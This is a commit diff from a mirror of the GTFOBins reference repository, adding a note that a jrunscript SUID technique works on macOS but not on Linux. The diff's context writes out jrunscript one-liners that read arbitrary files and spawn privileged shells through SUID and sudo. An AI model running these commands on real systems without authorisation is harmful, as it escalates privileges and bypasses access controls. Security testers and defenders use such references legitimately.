mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Describe jrunscript suid limitations
This commit is contained in:
parent
26151d0c44
commit
46e293e444
@ -30,7 +30,8 @@ functions:
|
|||||||
- code: jrunscript -e 'br = new BufferedReader(new java.io.FileReader("file_to_read"));
|
- code: jrunscript -e 'br = new BufferedReader(new java.io.FileReader("file_to_read"));
|
||||||
while ((line = br.readLine()) != null) { print(line); }'
|
while ((line = br.readLine()) != null) { print(line); }'
|
||||||
suid:
|
suid:
|
||||||
- code: ./jrunscript -e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')"
|
- description: This has been found working in macOS but failing on Linux systems.
|
||||||
|
code: ./jrunscript -e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')"
|
||||||
sudo:
|
sudo:
|
||||||
- code: sudo jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
|
- code: sudo jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user